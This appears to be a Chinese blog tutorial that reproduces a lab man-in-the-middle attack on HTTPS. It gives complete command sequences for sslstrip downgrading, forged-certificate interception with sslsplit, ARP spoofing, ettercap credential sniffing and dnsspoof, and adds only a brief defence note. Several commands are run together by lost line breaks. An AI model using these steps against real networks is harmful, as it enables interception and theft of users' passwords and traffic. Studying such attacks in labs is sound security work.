渗透之突破ssl嗅探

来源:互联网 发布:电视盒子免费视频软件 编辑:程序博客网 时间:2024/05/18 02:30

简介

中间人攻击(man-in-the-Middle Attack, MITM)是一种由来已久的网络入侵手段,并且在今天仍然有着广泛的发展空间,如SMB会话劫持、DNS欺骗等攻击都是典型的MITM攻击。但是遇到https认证证书,该怎么破呢???

环境

网关:192.168.1.1

攻击机:192.168.1.152 (vm kali)

被攻击机:192.168.1.138(vm win7)

攻击方式

方式一:降级https到http

ssltrip攻击思路

  1. arp欺骗,使攻击机能够截获所有目标主机的流量。
  2. 攻击者利用用户对地址栏中https和http的忽略,将所有的https链接都用http来替换。
  3. 同时与目标服务器建立正常的https连接。
  4. 由于http是明文传输,攻击者可以轻松的实施嗅探。

攻击流程

使用nmap对内网中开启的机器进行扫描以确定攻击目标

nmap -sP 192.168.1.0/24

这里写图片描述

启用内核包转发

echo 1 >  /proc/sys/net/ipv4/ip_forward

这里写图片描述

端口转发

iptable参数讲解:

-t:命令要操作匹配的表(nat这个表表示被查询时遇到了新差生的连接包)
nat表有三个内建的链构成 PREROUTING(修改到来的包)、OUTPUT(修改路由之前本地的包)、POSTROUTING(修改准备出去的包)

-A表示在选择的链后加入更多选项

–p指被过滤包的协议

–destination-port 80指被过滤包的目的端口是80

-j REDIRECT –to-port 10000 将80端口的数据跳转到指定端口传输

注意:在此之前请记得使用iptables -F清除原有设置。

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

这里写图片描述

开启ssltrip

sslstrip -a -l 8080 p.log

参数解释:

-a:记录所有来自服务器的SSL及HTTP数据流量内容。
-l:监听的端口,应和前面在iptables里设置的一样。
-w:将拦截内容保存为文件。

这里写图片描述

arp欺骗

arpspoof -i eth0 -t 192.168.1.138 192.168.1.1

这里写图片描述

ettercap嗅探用户名和密码。

注意:以命令行方式显示,只嗅探本地数据包,只显示捕捉到的用户名和密码以及其他信息。

参数解释:

-P 使用插件
-T 使用基于文本界面
-q 启动安静模式(不回显)
-M 启动ARP欺骗攻击

ettercap -T -q -M arp /// /// -i eth0 -w ettercap.logettercap -T -q -M arp:remote /192.168.1.138// /// -w a.log

防御

sslstrip的攻击方式是一种中间人攻击,需要进行arp欺骗,所以在设置好浏览器本身安全的基础上,要绑定mac和ip等在网关和本机双向绑定,或者启用arp防火墙对arp攻击进行防御。

方式二:伪造证书

ssltrip攻击思路

利用伪造证书来进行arp攻击来进行嗅探网络数据包。

攻击

生成一个证书

openssl genrsa -out ca.key 2048

这里写图片描述

自签名用生成的key生成公钥证书

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

这里写图片描述

启动内核包转发

echo 1 > /proc/sys/net/ipv4/ip_forward

这里写图片描述

iptables流量转发

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

这里写图片描述

arp欺骗

arpspoof -i eth0 -t 192.168.1.138 192.168.1.1

这里写图片描述

这里我建议等到临开始劫持的时候再打开ARP,因为我们的端口转发已经打开,ARP流量已经不能与平时一样正常走攻击机的正常端口,会出现靶机上不了网的情况。

启动SSLSplit

sslsplit -D -l connect.log -j ./sslsplit -S /logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

此命令在调试模式下启动SSLsplit (-D,在前台运行,后台没有,详细输出),输出城市连接在日志文件”connections.log”(-l)。真正的连接内容被写在”./sslsplit/logdir/“(-j和-S)每个单独文件中的每个连接的传入/传出TCP流。

这里写图片描述

这里写图片描述

继续浏览就好。

find “*.log” | xargs grep “password” 查找密码

说明:伪造证书成功的关键:需要一个可信任的证书。

方式三:DNS欺骗

原理

dnsspoof启用DNS欺骗,如果dnsspoof嗅探到局域网内有DNS请求数据包,
它会分析其内容,并用伪造的DNS响应包来回复请求者。 如果是请求解析某
个域名,dnsspoof会让该域名重新指向另一个IP地址(黑客所控制的主机),
如果是反向IP指针解析,dnsspoof也会返回一 个伪造的域名。这里本地主机
会抢先代替DNS服务器来相应查询,前提是本地主机先回答DNS查询,如果
因为 网络问题,DNS服务器先发送了应答,DNS欺骗就不能生效了。

攻击

通过arpspoof将目标主机发往网关192.168.1.1的数据都发送到kali所在主机地址192.168.1.152。

arpspoof -i eth0 -t 192.168.1.169 192.168.1.1

这里写图片描述

运行dnsspoof

dnsspoof

这里写图片描述

说明:如果在dnsspoof后加上参数-f 指定网址范围,则dnsspoof会针对此网址的请求进行欺骗,本实例中未指定网址,则返回本地的IP给dns解析请求者。

0 0